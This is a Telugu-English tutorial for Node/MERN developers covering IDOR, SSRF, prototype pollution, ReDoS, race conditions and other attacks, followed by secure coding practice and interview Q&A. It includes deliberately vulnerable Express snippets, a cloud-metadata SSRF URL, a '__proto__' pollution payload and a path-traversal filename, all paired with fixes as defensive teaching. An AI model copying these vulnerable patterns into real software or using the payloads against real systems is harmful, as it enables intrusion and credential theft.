వివరణ

XSS, CSRF, injection తర్వాత, ప్రతి SSE తెలుసుకోవాల్సిన మిగతా common attacks ఇవి. ఒక్కొక్కటి: **ఎలా పనిచేస్తుంది + fix (code).**

12.1 IDOR (Insecure Direct Object Reference) — Broken Access Control

ఎలా: attacker ఒక URL/request లోని **ID ని మార్చి**, తనకు హక్కు లేని మరొకరి resource ని access చేస్తాడు. మూలం: server "ఈ user కి ఈ resource మీద హక్కు ఉందా?" **check చేయకపోవడం** (authorization miss). OWASP 2021 లో **#1** attack.

> **IDOR = హోటల్ room keys.** నీకు room 101 key ఇచ్చారు (authenticated). కానీ 102, 103... అన్ని తలుపులు కూడా అదే key తో తెరుచుకుంటే? నువ్వు login అయ్యావు కదా అని ప్రతి room access ఇవ్వడం — అదే IDOR.

వల్నరబుల్:

```
// ❌ DANGEROUS — login check ఉంది కానీ ownership check లేదు
app.get('/api/orders/:id', requireAuth, async (req, res) => {
  const order = await db.orders.findOne({ _id: req.params.id });
  res.json(order);   // /orders/124 → వేరే user order చూపిస్తుంది!
});
```

Fix — ప్రతి request కి ownership/authorization check:

```
// ✅ SAFE — ఈ resource నిజంగా ఈ user దేనా?
app.get('/api/orders/:id', requireAuth, async (req, res) => {
  const order = await db.orders.findOne({ _id: req.params.id });
  if (!order) return res.status(404).json({ error: 'Not found' });
  if (order.userId.toString() !== req.user.userId)   // ownership check
    return res.status(403).json({ error: 'Forbidden' });
  res.json(order);
});
// మరింత మంచిది: query లోనే scope — findOne({ _id, userId: req.user.userId })
```

కీలకం: authenticated అయినంత మాత్రాన authorized కాదు (Topic 6). **ప్రతి object access కి ownership/role verify చేయి.** Sequential IDs కాకుండా UUIDs వాడటం కూడా సహాయపడుతుంది (కానీ అది primary defense కాదు — authorization check తప్పనిసరి).

12.2 SSRF (Server-Side Request Forgery)

ఎలా: app ఒక user-supplied URL ని fetch చేస్తే, attacker ఆ URL ని **internal/unintended destination** గా మార్చి, server ద్వారా request పంపుతాడు. Cloud లో అత్యంత ప్రమాదకరం — internal metadata endpoint (`http://169.254.169.254/`) నుండి cloud credentials దొంగిలించవచ్చు (Capital One 2019 breach ఇదే).

> **SSRF = నీ నమ్మకమైన butler ని మోసం చేయడం.** నువ్వు (server) ఒక butler వి, బయటివాళ్ళు (attacker) నిన్ను "ఫలానా address కి వెళ్ళి తీసుకురా" అని పంపగలరు. Attacker "ఇంటి లోపలి locker (internal network) కి వెళ్ళి తీసుకురా" అంటే — నువ్వు trusted insider వి కాబట్టి firewall నిన్ను ఆపదు. బయటివాడు నేరుగా access చేయలేని దాన్ని, నీ ద్వారా చేయిస్తాడు.

వల్నరబుల్:

```
// ❌ DANGEROUS — user URL ని నేరుగా fetch (image proxy, webhook, etc.)
app.post('/fetch-preview', async (req, res) => {
  const data = await fetch(req.body.url);   // url = http://169.254.169.254/...
  res.send(await data.text());               // internal cloud creds leak!
});
```

Fix — allowlist + block internal:

```
// ✅ SAFE — allowlisted hosts మాత్రమే, private IPs block
const ALLOWED_HOSTS = ['images.trusted-cdn.com'];
function assertSafeUrl(rawUrl) {
  const u = new URL(rawUrl);
  if (u.protocol !== 'https:') throw new Error('Only https');
  if (!ALLOWED_HOSTS.includes(u.hostname)) throw new Error('Host not allowed');
  // private/internal ranges block: 127.*, 10.*, 172.16-31.*, 192.168.*, 169.254.*
  // (DNS rebinding ఆపడానికి resolved IP ని కూడా check చేయాలి)
}
app.post('/fetch-preview', async (req, res) => {
  try { assertSafeUrl(req.body.url); }
  catch { return res.status(400).json({ error: 'Invalid URL' }); }
```

```
  const data = await fetch(req.body.url);
  res.send(await data.text());
});
```

Defenses: **allowlist** domains (blocklist కంటే better), private/loopback/link-local IPs block, redirects follow చేయకు (redirect తో bypass), వీలైతే user URLs అస్సలు fetch చేయకు.

12.3 Clickjacking

ఎలా: attacker నీ site ని ఒక **invisible iframe** లో పెట్టి, తన page పైన overlay చేస్తాడు. User "Win prize" button అనుకుని click చేస్తే, నిజానికి నీ site లోని (invisible) "Delete account" / "Transfer" button click అవుతుంది.

Fix — framing ని ఆపు:

```
// ✅ నీ site ని iframe లో embed చేయడాన్ని నిషేధించు
app.use((req, res, next) => {
  res.setHeader('X-Frame-Options', 'DENY');   // ఏ site కీ iframe embed కుదరదు
  // modern equivalent (CSP):
  res.setHeader('Content-Security-Policy', "frame-ancestors 'none'");
  next();
});
// SAMEORIGIN = నీ domain మాత్రమే embed చేయగలదు
```

12.4 Open Redirect

ఎలా: `/redirect?url=...` లాంటి endpoint user-supplied URL కి redirect చేస్తే, attacker దాన్ని phishing కి వాడతాడు: `yoursite.com/redirect?url=evil.com` — link నీ trusted domain తో మొదలవుతుంది కాబట్టి users నమ్ముతారు, కానీ evil.com కి తీసుకెళ్తుంది. OAuth redirect_uri లోనూ ప్రమాదకరం (token theft).

వల్నరబుల్ vs Fix:

```
// ❌ DANGEROUS
app.get('/redirect', (req, res) => res.redirect(req.query.url));  // evil.com!

// ✅ SAFE — allowlist / relative paths మాత్రమే
const SAFE_REDIRECTS = { dashboard: '/dashboard', profile: '/profile' };
app.get('/redirect', (req, res) => {
  res.redirect(SAFE_REDIRECTS[req.query.to] || '/');  // known targets మాత్రమే
});
// లేదా: url relative (same-origin) అని validate; external hosts reject
```

12.5 Brute Force → Rate Limiting

ఎలా: attacker login లో వేల/లక్షల password guesses పంపుతాడు (credential stuffing, dictionary). No limit అయితే ఏదో ఒకటి hit అవుతుంది. DDoS కి కూడా అదే root.

> **Rate limiting = ATM 3-attempt lockout.** ATM లో PIN 3 సార్లు తప్పు అయితే card block. లేకపోతే దొంగ 0000-9999 అన్నీ try చేసి crack చేస్తాడు. అదే login కి — attempts limit చేయడం brute force ని అసాధ్యం చేస్తుంది.

Fix — express-rate-limit:

```
// npm install express-rate-limit
const rateLimit = require('express-rate-limit');

// login కి కఠిన limit
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,      // 15 నిమిషాలు
  max: 5,                         // IP కి 5 attempts మాత్రమే
  message: { error: 'Too many attempts, try again later' },
  standardHeaders: true,
});
app.post('/login', loginLimiter, loginHandler);

// మొత్తం API కి generic limit (DDoS mitigation)
app.use('/api', rateLimit({ windowMs: 60 * 1000, max: 100 }));
```

మరిన్ని: **account lockout / exponential backoff** (each fail తర్వాత wait పెంచు), **CAPTCHA** (repeated fails తర్వాత), **strong password policy + MFA**, **breached-password check** (haveibeenpwned). Rate limit ని **IP + account** రెండింటి మీద — distributed attack కి Redis-backed limiter.

12.6 Race Conditions (TOCTOU) & Business Logic Flaws

తరచూ మిస్ అయ్యే, కానీ ఖరీదైన bug class. **Race condition / TOCTOU (Time-Of-Check to Time-Of-Use):** నువ్వు ఒక condition **check** చేసి, తర్వాత **act** చేస్తే — ఆ మధ్యలో మరో concurrent request వచ్చి state మార్చగలదు. Node async కాబట్టి ఇది సులభంగా జరుగుతుంది.

క్లాసిక్ ఉదా: **double-spend / coupon reuse.** User రెండు requests ఏకకాలంలో పంపితే, రెండూ "balance చాలు / coupon valid" check pass అవుతాయి, తర్వాత రెండూ deduct/redeem చేస్తాయి.

```
// ❌ RACE — check అయ్యి, act అయ్యే మధ్య మరో request slip అవుతుంది
const user = await db.users.findOne({ _id });
if (user.balance >= amount) {                    // రెండు concurrent requests ఇక్కడ pass
  await db.users.updateOne({ _id }, { $inc: { balance: -amount } });  // double spend!
}

// ✅ ATOMIC — condition + update ఒకే atomic operation (DB enforce చేస్తుంది)
const res = await db.users.updateOne(
  { _id, balance: { $gte: amount } },            // condition query లోనే
  { $inc: { balance: -amount } }                 // match అయితేనే deduct
);
if (res.modifiedCount === 0) throw new Error('Insufficient balance');
```

Fixes: atomic conditional updates (`findOneAndUpdate` with condition), **DB transactions**, **optimistic locking** (version field — mismatch అయితే retry), **unique constraints** (duplicate ఆపడానికి), **idempotency keys** (payment retries safe గా).

Business logic flaws = automated scanners పట్టుకోలేనివి — negative quantity (`-5` items → refund), price manipulation (client price trust), workflow skip (payment లేకుండా order confirm), unlimited coupon stacking. Defense: **server-side లో అన్ని business rules validate** చేయి, client మీద ఎప్పుడూ ఆధారపడకు.

> **Race condition = ఒకే cinema seat ని ఇద్దరికి book చేయడం.** ఇద్దరూ ఏకకాలంలో "seat 12 ఖాళీగా ఉందా?" చూసి, ఇద్దరూ "అవును" చూసి, ఇద్దరూ book చేస్తారు → conflict. **Atomic booking (seat lock)** = ఒక్కరికే దొరుకుతుంది.

12.7 Bonus — Timing Attack

ఎలా: `if (userToken === realToken)` string compare **character-by-character** — mismatch దగ్గర early exit. Attacker response time కొలిచి, secret ని ఒక్కో character crack చేయగలడు. **Fix:** `crypto.timingSafeEqual()` (constant-time compare) — Topic 3 లో చూశాం.

12.8 Prototype Pollution (Node/JS-specific — interview favorite)

MERN/Node కి ప్రత్యేకమైన attack. JavaScript లో ప్రతి object కి `__proto__` ద్వారా prototype access ఉంది. Attacker `__proto__`, `constructor`, `prototype` keys ఉన్న JSON పంపి, **Object.prototype ని globally pollute** చేయగలడు — అంటే అన్ని objects కి ఒక property inject. దీనితో auth bypass, DoS, కొన్నిసార్లు RCE.

వల్నరబుల్ (unsafe deep merge/set):

```
// ❌ DANGEROUS — user JSON ని recursively merge చేయడం
function merge(target, source) {
  for (const key in source) {
    if (typeof source[key] === 'object') merge(target[key] ??= {}, source[key]);
    else target[key] = source[key];
  }
}
// attack payload: { "__proto__": { "isAdmin": true } }
// → ఇప్పుడు ({}).isAdmin === true — అన్ని objects కి isAdmin!
```

Fix: (1) `__proto__` / `constructor` / `prototype` keys reject; (2) `Object.create(null)` (prototype లేని objects); (3) `Map` వాడు (plain object బదులు); (4) schema validation (zod — unknown keys strip); (5) trusted deep-merge libs (lodash `_.merge` పాత CVEs — updated version వాడు). `JSON.parse` output ని గుడ్డిగా merge చేయకు.

12.9 ReDoS (Regular Expression Denial of Service)

కొన్ని regex patterns "catastrophic backtracking" కి గురవుతాయి — ఒక crafted input వాటిని exponential time తీసుకునేలా చేసి, **Node event loop ని block** చేస్తుంది (single-threaded కాబట్టి మొత్తం server hang). Availability attack (CIA లో A).

```
// ❌ DANGEROUS — nested quantifier (backtracking bomb)
const re = /^(a+)+$/;
re.test('aaaaaaaaaaaaaaaaaaaaaaaa!');   // exponential time → event loop freeze

// ✅ SAFE — నిర్మాణం మార్చు, లేదా safe regex library
// - nested quantifiers ((a+)+, (a*)*) avoid
// - anchored, specific patterns; input length limit
```

```
// - re2 library (linear-time regex) untrusted input కి
// - validator.js లాంటి tested validators వాడు
```

Fix: untrusted input మీద complex regex avoid; input length cap; `re2` (Google's linear-time engine); user-supplied regex అస్సలు execute చేయకు. Node లో ఒక్క blocked event loop = మొత్తం app down.

Attacks — quick summary

Attack	ఒక్క వాక్యంలో	primary fix
IDOR	ID మార్చి వేరే resource access	ప్రతి request కి ownership/role check
SSRF	server ద్వారా internal request	URL allowlist, private IP block
Clickjacking	invisible iframe overlay	`X-Frame-Options: DENY` / `frame-ancestors`
Open Redirect	trusted domain → evil.com	redirect allowlist / relative only
Brute Force	password guessing flood	rate limiting + lockout + MFA
Timing	response time తో secret leak	`timingSafeEqual`

Key Points

- **IDOR = broken access control (OWASP #1)** — authenticated ≠ authorized; **ప్రతి object access కి ownership/role verify.** Query లోనే `userId` scope చేయి.
- **SSRF** — user URL ని server fetch చేస్తే internal/cloud-metadata leak; **allowlist + private IP block**, redirects follow చేయకు.
- **Clickjacking** — `X-Frame-Options: DENY` లేదా CSP `frame-ancestors 'none'` .
- **Open redirect** — user URL కి redirect చేయకు; **allowlist / relative paths.**
- **Brute force** — **rate limiting** (express-rate-limit) + lockout + MFA + CAPTCHA.
- **Timing attack** — secrets compare కి `timingSafeEqual` , `===` కాదు.

Interview దృష్టి

Q: IDOR అంటే ఏమిటి, ఎలా ఆపుతావు? A: Insecure Direct Object Reference — attacker request లోని ID (`/orders/123` → `124`) మార్చి, తనకు హక్కు లేని resource చూస్తాడు. మూలం: server ownership/authorization check చేయకపోవడం (login check ఉన్నా). Fix: ప్రతి resource access కి "ఈ object ఈ user దేనా?" verify — ఉత్తమంగా query లోనే `findOne({ _id, userId: req.user.id })` గా scope చేయడం. Authenticated ≠ authorized.

Q: SSRF ఎందుకు ప్రమాదకరం, cloud లో ఎలా? A: App user-supplied URL ని fetch చేస్తే, attacker దాన్ని internal destination కి మారుస్తాడు — server trusted insider కాబట్టి firewall ఆపదు. Cloud లో `http://169.254.169.254/` (metadata endpoint) నుండి IAM credentials దొంగిలించవచ్చు (Capital One breach). Fix: URL allowlist, private/link-local IPs block, redirects follow చేయకపోవడం, వీలైతే user URLs అస్సలు fetch చేయకపోవడం.

Q: Brute force login ని ఎలా ఆపుతావు? A: Multiple layers: **rate limiting** (IP + account కి — express-rate-limit, 15min లో 5 attempts), **account lockout / exponential backoff**, repeated fails తర్వాత **CAPTCHA**, **MFA**, **strong**

password policy + breached-password check. Distributed attack కి Redis-backed rate limiter (IP మారినా account-level limit). Plus generic API rate limit DDoS mitigation కి.

Part 4 — Secure Engineering

> Foundations, identity, attacks నేర్చుకున్నాం. ఇప్పుడు అన్నిటినీ కలిపి, **production-grade secure code ఎలా రాయాలి** — input validation, secrets management, CORS, security headers, dependency safety. ఇవి రోజువారీ engineering habits — ఇవి అలవాటైతే, security bugs చాలావరకు పుట్టనే పుట్టవు. చివరగా, ఒక **complete security checklist + interview Q&A** — MERN app ship చేసేముందు run చేసే final review.

---

13. Secure Coding & API Security

వివరణ

Security ఏదో ఒక feature కాదు — అది నీ ప్రతి endpoint, ప్రతి input, ప్రతి dependency లో ఉండాల్సిన discipline. ఈ topic లో production MERN app కి కావలసిన **నిత్య practices** అన్నీ ఒక చోట.

13.1 Input Validation (అన్ని security కి పునాది)

Rule: ప్రతి external input untrusted. User body, query, params, headers, uploaded files, third-party API responses — అన్నీ validate చేయి. **Allowlist approach** (ఏం allowed అని define చేయడం) blocklist కంటే ఎప్పుడూ better.

కీలక సూత్రం: client-side validation UX కోసమే, security కాదు. Attacker browser ని bypass చేసి నేరుగా API కి ఏదైనా పంపగలడు. **Server లో మళ్ళీ validate తప్పనిసరి.**

```
// npm install zod — schema validation (joi, express-validator కూడా మంచివి)
const { z } = require('zod');

const signupSchema = z.object({
  email: z.string().email().max(254),
  password: z.string().min(8).max(128),
  age: z.number().int().min(13).max(120),
  role: z.enum(['user', 'seller']),          // allowlist — 'admin' పంపలేడు!
});

app.post('/signup', (req, res) => {
  const result = signupSchema.safeParse(req.body);
  if (!result.success)
    return res.status(400).json({ error: 'Invalid input', details: result.error.issues });
  const { email, password, age, role } = result.data;   // typed, validated, safe
  // ... proceed
});
```

Validate: **type, length, format, range, allowlist.** ఇది injection, overflow, mass-assignment అన్నిటినీ ఒకేసారి తగ్గిస్తుంది.

Mass assignment trap: `User.create(req.body)` నేరుగా వాడితే, attacker `{ ..., "role": "admin", "isVerified": true }` పంపి privilege escalate చేస్తాడు. ఎప్పుడూ **explicit fields మాత్రమే** pick చేయి (schema validated data), whole `req.body` కాదు.

13.2 Output Encoding

Data ని render చేసే **context కి తగ్గట్టు** encode చేయి — HTML context లో HTML-escape, URL లో URL-encode, JS లో JS-escape (Topic 9). React auto-escapes; server templates లో escaping on. **"Validate on input, encode on output"** — రెండూ.

13.3 Secrets Management

Secrets = API keys, DB passwords, JWT secrets, private keys, tokens. ఇవి ఎప్పుడూ code లో hardcode చేయకూడదు, git కి commit చేయకూడదు.

❌ చేయకూడనివి	✅ చేయాల్సినవి
`const key = "sk_live_abc123"` (hardcode)	`process.env.STRIPE_KEY` (env var)
`.env` ని git కి commit	`.env` ని `.gitignore` లో; `.env.example` (values లేకుండా) commit
అందరికీ ఒకే secret	environment-wise వేరు (dev/prod), rotate
Secret ని logs/error లో print	secrets ని ఎప్పుడూ log చేయకు
Client bundle లో secret	secrets **server-side మాత్రమే** (React bundle public!)

```
// ✅ env vars (dotenv dev లో, prod లో secrets manager)
require('dotenv').config();
const JWT_SECRET = process.env.JWT_SECRET;
if (!JWT_SECRET) throw new Error('JWT_SECRET not set');   // fail fast, startup లోనే

// .gitignore లో:  .env
```

Production: AWS Secrets Manager / HashiCorp Vault / cloud KMS వాడు; secrets **rotate** చేయి; ఏదైనా leak అయితే **వెంటనే revoke + rotate. GitHub కి secret push అయితే** — history లో ఉంటుంది, rotate తప్పనిసరి (delete సరిపోదు). git-secrets/truffleHog తో pre-commit scan.

⚠️ **React లో:** `REACT_APP_*` / `VITE_*` env vars **bundle లోకి వెళ్తాయి — public!** Frontend లో ఎప్పుడూ secret keys పెట్టకు; అవి backend లోనే ఉండాలి, frontend backend కి request పంపుతుంది.

13.4 CORS (Cross-Origin Resource Sharing) — సరిగ్గా అర్థం చేసుకో

చాలా మంది CORS ని తప్పుగా అర్థం చేసుకుంటారు. **CORS ఒక security feature కాదు — అది Same-Origin Policy ని వదులు చేసే mechanism.**

- **Same-Origin Policy (SOP)** — browser rule: ఒక origin (scheme+host+port) నుండి JS మరో origin కి request పంపి response చదవడాన్ని **by default block** చేస్తుంది. ఇది browser security పునాది.

- **CORS** — server "ఈ specific origins నా resources చదవొచ్చు" అని **explicitly అనుమతించే** విధానం (`Access-Control-Allow-Origin` header). MERN లో React (`localhost:3000`) → Express (`localhost:5000`) cross-origin కాబట్టి CORS కావాలి.

```
// npm install cors
const cors = require('cors');

// ❌ DANGEROUS — అందరికీ allow + credentials (ఎప్పుడూ కాదు)
// app.use(cors({ origin: '*', credentials: true }));

// ✅ SAFE — specific origins allowlist
const allowedOrigins = ['https://myapp.com', 'https://www.myapp.com'];
app.use(cors({
  origin: (origin, cb) => {
    if (!origin || allowedOrigins.includes(origin)) cb(null, true);
    else cb(new Error('Not allowed by CORS'));
  },
  credentials: true,          // cookies పంపాలంటే — అప్పుడు origin '*' కాకూడదు
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
}));
```

కీలక గుర్తుంపులు: (1) `origin: '*'` + `credentials: true` — invalid/dangerous combo. (2) CORS **నీ serverని protect చేయదు** — non-browser clients (curl, Postman) CORS ని పట్టించుకోవు; server-side authz తప్పనిసరి. (3) CORS misconfiguration (అన్ని origins reflect) → cross-origin data theft.

13.5 Security Headers (helmet)

కొన్ని HTTP response headers browser-level protections on చేస్తాయి. **helmet** library వీటిని ఒక్కసారిగా set చేస్తుంది:

```
// npm install helmet
const helmet = require('helmet');
app.use(helmet());   // సురక్షిత defaults ఒక్క line లో
```

Header	ఏం చేస్తుంది
Strict-Transport-Security (HSTS)	ఎప్పుడూ HTTPS (downgrade ఆపు)
Content-Security-Policy (CSP)	script sources restrict (XSS defense)
X-Content-Type-Options: nosniff	MIME sniffing ఆపు
X-Frame-Options: DENY	clickjacking ఆపు
Referrer-Policy	referrer లో sensitive URL leak ఆపు
X-Powered-By remove	tech stack దాచడం (fingerprint తగ్గించు)

13.6 Dependency & Supply-Chain Security

Modern MERN app లో నీ code 10%, **npm dependencies 90%.** ఒక్క malicious/vulnerable package మొత్తం app ని compromise చేయగలదు (event-stream, ua-parser-js incidents).

```
# తెలిసిన vulnerabilities check
npm audit
npm audit fix              # safe fixes auto-apply

# outdated packages
npm outdated

# lockfile తో deterministic installs (CI లో)
npm ci                     # package-lock.json ని ఖచ్చితంగా follow
```

Risk	Defense
Known CVEs	`npm audit`, Dependabot/Snyk (auto PRs)
Typosquatting (`expresss`)	package names జాగ్రత్తగా check
Malicious update	lockfile pin, `npm ci`, review updates
Over-dependency	minimal deps; small utility ని self-write
Postinstall scripts	`--ignore-scripts`, review new deps
Outdated	regular update cadence

Practices: lockfile commit చేయి, `npm ci` (not `npm install`) CI లో, Dependabot enable, unused deps తీసేయి, new dependency add చేసేముందు (weekly downloads, maintenance, GitHub) verify.

13.7 API Security specifics

REST/GraphQL APIs కి కొన్ని ప్రత్యేక concerns (OWASP **API** Top 10):

- **BOLA (Broken Object Level Authorization)** = API #1 = IDOR (Topic 12). `GET /api/users/:id/orders` లో :id ఇతరుల దైనా serve చేయకు — ప్రతి object కి ownership check. Automated tools పట్టుకోలేవు; నువ్వే enforce చేయాలి.
- **Excessive data exposure** — whole DB object return చేయకు. `passwordHash`, internal flags leak అవుతాయి. **Explicit field projection:** Mongoose `.select('-passwordHash -__v')`, లేదా DTO/serializer తో response shape control.
- **API keys** — service/machine auth కి; **per-key scope + rate limit + rotation**; frontend/git లో ఎప్పుడూ కాదు; passwords లా DB లో **hash** చేసి store. Leak అయితే revoke + rotate.
- **GraphQL specifics** — nested query = DoS (`query { a { b { c { ... }}}}`) → **depth + complexity limits**; **introspection off in prod**; **field-level authorization** (ఒక field కి కూడా authz); rate limit by **complexity**, request count కాదు.
- **Versioning & deprecation** — insecure old API versions retire చేయి; breaking security fixes కి version bump.

```
// ✅ excessive data exposure ఆపు — explicit projection
const user = await User.findById(id).select('-passwordHash -resetTokenHash');
// ✅ API key hash store (plaintext కాదు)
```

```
const keyHash = crypto.createHash('sha256').update(apiKey).digest('hex');
await db.apiKeys.insertOne({ keyHash, scope: ['read:orders'], userId });
```

13.8 File Upload Security

File uploads = ప్రమాదకర surface (user నీ server కి arbitrary data పంపుతున్నాడు). ప్రతి upload కి:

తనిఖీ	ఎందుకు
Type validate (MIME + magic bytes)	extension trust చేయకు — `shell.php` ని `.jpg` గా rename చేయవచ్చు; file content (magic bytes) check
Size limit	పెద్ద files → disk/memory DoS
Filename ని trust చేయకు	`../../etc/passwd` (path traversal) → **random name generate** చేయి
Webroot బయట / object storage	S3/GCS లో store; executable గా serve చేయకు
Malware scan	ClamAV లాంటివి; user-facing files కి

```
// multer — type + size limit
const multer = require('multer');
const upload = multer({
  limits: { fileSize: 5 * 1024 * 1024 },          // 5MB cap
  fileFilter: (req, file, cb) => {
    const ok = ['image/jpeg', 'image/png', 'image/webp'].includes(file.mimetype);
    cb(ok ? null : new Error('Only images'), ok);  // allowlist
  },
});
app.post('/upload', requireAuth, upload.single('photo'), (req, res) => {
  // filename ని crypto.randomUUID() తో rename; magic-bytes కూడా verify;
  // S3/webroot బయట store; DB లో metadata మాత్రమే
  res.json({ ok: true });
});
```

13.9 Error Handling & Security Logging

Errors: client కి **ఎప్పుడూ stack trace / internal details / DB errors** పంపకు — attacker కి tech stack, table names, file paths ఇస్తాయి (info disclosure). Generic message client కి, full detail server logs కి.

```
// ✅ SAFE error handler — details దాచు, internally log
app.use((err, req, res, next) => {
  logger.error({ err, path: req.path, userId: req.user?.id });  // full internally
  res.status(err.status || 500).json({ error: 'Something went wrong' });  // vague
});
```

Logging: security events (failed logins, authz denials, admin actions, rate-limit hits) log చేయి — detection + forensics కి. కానీ **passwords, tokens, credit cards, PII ఎప్పుడూ log చేయకు** (logs తరచూ less-protected, third-

party). Centralized logging (ELK/Datadog) + anomaly **alerting** — breach ని త్వరగా పట్టుకోవడానికి. "Log the event, not the secret."

Key Points

- **Input validation server-side తప్పనిసరి** (client validation UX మాత్రమే); **allowlist** approach, zod/joi; **type/length/format/range** check.
- **Mass assignment** — whole `req.body` పాస్ చేయకు; validated explicit fields మాత్రమే (`role: 'admin'` inject అవు).
- **Secrets = env vars**, `.gitignore` లో `.env` , prod లో secrets manager, rotate; **React bundle public — frontend లో secret పెట్టకు.**
- **CORS = SOP relaxation, security feature కాదు** — specific origins allowlist; `origin:'*'` + credentials నో-గో; server-side authz ని replace చేయదు.
- **helmet** తో security headers (HSTS, CSP, nosniff, frame-options) ఒక్క line.
- **Dependencies = biggest surface** — `npm audit` , lockfile + `npm ci` , Dependabot, minimal deps.

Interview దృష్టి

Q: CORS అంటే ఏమిటి, అది security feature నా? A: CORS = Same-Origin Policy ని **వదులు చేసే** mechanism — server ఏ cross-origin sites తన resources చదవగలవో explicitly అనుమతిస్తుంది (`Access-Control-Allow-Origin`). ఇది **నీ server ని protect చేసే security feature కాదు** — browsers లోనే enforce అవుతుంది; curl/Postman లాంటి non-browser clients దాన్ని పట్టించుకోవు. అందుకే server-side authentication/authorization ఇంకా తప్పనిసరి. `origin:'*'` + `credentials:true` dangerous combo — specific origins allowlist చేయాలి.

Q: API keys/secrets ని ఎలా manage చేస్తావు? A: Code లో ఎప్పుడూ hardcode చేయను — **env vars** (`process.env`), `.env` ని `.gitignore` లో, `.env.example` (values లేకుండా) commit. Production లో AWS Secrets Manager/Vault, secrets rotate చేస్తా. React లో secrets **అస్సలు** పెట్టను (bundle public — backend proxy చేస్తా). Secret leak అయితే వెంటనే revoke + rotate; pre-commit secret scanning (truffleHog).

Q: npm dependency risk ఎలా handle చేస్తావు? A: `npm audit` regular గా, `npm ci` + committed lockfile తో deterministic installs, **Dependabot/Snyk** auto-PRs for CVEs. New dependency add చేసేముందు downloads/maintenance/GitHub check (typosquatting, abandoned packages), unused deps తీసేస్తా, minimal dependency footprint. Supply-chain risk = biggest modern surface (my code కంటే deps ఎక్కువ).

14. Interview Q&A + Security Checklist + Common Mistakes

వివరణ

ఇది capstone topic — మొత్తం doc ని ఒక చోట కుదించి, **MERN app ship చేసేముందు run చేసే checklist**, engineers చేసే **common mistakes + fixes**, మరియు **rapid-fire interview Q&A** ఇస్తుంది. Interview ముందు రోజు ఇది ఒక్కటి revise చేస్తే చాలు.

Security Checklist — MERN app (production ముందు)

🔐 Authentication & Passwords

- [ ] Passwords **bcrypt/argon2 + salt** తో hash (plaintext/encrypt/MD5 ఎప్పుడూ కాదు).
- [ ] Login fail message **vague** ("invalid email or password") — user enumeration ఆపు.
- [ ] **Rate limiting** on login/signup/reset (brute force ఆపు).
- [ ] Strong password policy + optionally **MFA** + breached-password check.
- [ ] Password reset tokens — random, short-lived, one-time, hashed in DB.

🎫 Sessions / Tokens

- [ ] Cookies: **HttpOnly + Secure + SameSite=Lax/Strict.**
- [ ] JWT: `expiresIn` set, **`algorithms` explicit** on verify, strong secret in env.
- [ ] Token **localStorage లో కాదు** (XSS risk) — HttpOnly cookie / memory.
- [ ] Short access + refresh token (server-side, revocable); logout revokes.

🛡️ Authorization

- [ ] ప్రతి protected endpoint కి **authorization (ownership/role) check** — IDOR ఆపు.
- [ ] Query లోనే scope (`findOne({ _id, userId })`), authenticated≠authorized.
- [ ] **Least privilege** DB user, cloud IAM roles.

💉 Injection & XSS

- [ ] SQL: **parameterized queries**; Mongo: **type-check + mongo-sanitize + schema**, no `$where` .
- [ ] XSS: React auto-escape; `dangerouslySetInnerHTML` → **DOMPurify**; `javascript:` hrefs validate.
- [ ] Input **validation (zod/joi)** server-side — type/length/format/allowlist.
- [ ] Mass-assignment ఆపు (whole `req.body` కాదు, validated fields మాత్రమే).

🌐 Transport & Headers

- [ ] **HTTPS everywhere** + HSTS; HTTP→HTTPS redirect.
- [ ] **helmet** — CSP, X-Frame-Options, nosniff, Referrer-Policy.
- [ ] **CORS** — specific origins allowlist, `'*'` +credentials కాదు.
- [ ] CSRF — SameSite cookie / CSRF token (cookie-auth అయితే).

🔑 Secrets & Dependencies

- [ ] Secrets **env vars**; `.env` gitignored; prod లో secrets manager; **rotate**.
- [ ] React bundle లో secrets **లేవు.**
- [ ] `npm audit` clean; lockfile + `npm ci` ; **Dependabot** on.

📊 Operations

- [ ] Errors లో **stack traces / internal details** client కి పంపకు (generic message).
- [ ] Secrets/PII **logs లో లేవు.**

- [ ] Monitoring/alerting on anomalies; audit logs for sensitive actions.
- [ ] File uploads: type/size validate, executable కాదు, outside webroot store.

Common Mistakes (+ fix)

❌ తప్పు	✅ సరైనది
Password ని encrypt/MD5 తో store	bcrypt/argon2 + salt
JWT ని localStorage లో	HttpOnly cookie / memory
`jwt.verify(token, secret)` (no algorithms)	`{ algorithms: ['HS256'] }` explicit
Cookie flags లేకుండా	HttpOnly + Secure + SameSite
`User.findById(req.params.id)` — ownership check లేదు	ownership/role verify (IDOR)
`User.create(req.body)` నేరుగా	validated explicit fields (mass-assign)
MongoDB query లో `req.body` నేరుగా	type-check + sanitize
`cors({ origin: '*', credentials: true })`	specific origins allowlist
Client validation మీద trust	server-side validation తప్పనిసరి
API key ని git కి commit	env var + gitignore + rotate
Error లో `err.stack` client కి	generic message, log internally
React లో `dangerouslySetInnerHTML` unsanitized	DOMPurify.sanitize
Login: "email not found"	"invalid email or password" (vague)
No rate limiting	express-rate-limit on auth
Secret in React `REACT_APP_*`	backend-only (bundle public)
Token కి `Math.random()`	`crypto.randomBytes` (CSPRNG)
`exec(userInput)` (command inject)	`execFile` with args array
Check-then-act (race/double-spend)	atomic conditional update / transaction
Whole DB object return (passwordHash leak)	explicit field projection (`.select`)
Credit card ని DB లో store	Stripe tokenization (store చేయకు)
`redirect_uri` loose match	exact-match allowlist

Rapid-fire Interview Q&A

Q: OWASP Top 10 అంటే ఏమిటి? A: OWASP సంకలనం చేసిన అత్యంత critical web app security risks list. 2021 top: Broken Access Control (#1 — IDOR), Cryptographic Failures, Injection, Insecure Design, Security

Misconfiguration, Vulnerable Components, Auth Failures, Data Integrity Failures, Logging Failures, SSRF. MERN engineer కి baseline reference.

Q: Encryption vs Hashing vs Encoding — తేడా? A: **Encoding** (base64) = reversible, **no security** (format మార్పు మాత్రమే). **Encryption** = reversible with key, **confidentiality** కి. **Hashing** = one-way, integrity/passwords కి. Base64 ని "encryption" అనుకోవడం common blunder — అది ఎవరైనా decode చేయగలరు.

Q: HTTPS ఉంటే ఇంకా security అవసరమా? A: అవును. HTTPS **transit** లో మాత్రమే protect చేస్తుంది (wire మీద). Server చేరాక — XSS, injection, broken auth, IDOR అన్నీ ఇంకా applicable. HTTPS necessary కానీ sufficient కాదు; application-level security వేరు.

Q: Symmetric vs Asymmetric ఎప్పుడు? A: Symmetric (AES) = fast, bulk data; asymmetric (RSA) = key exchange + signatures, slow. Real systems hybrid (TLS): asymmetric తో symmetric key exchange, తర్వాత symmetric data.

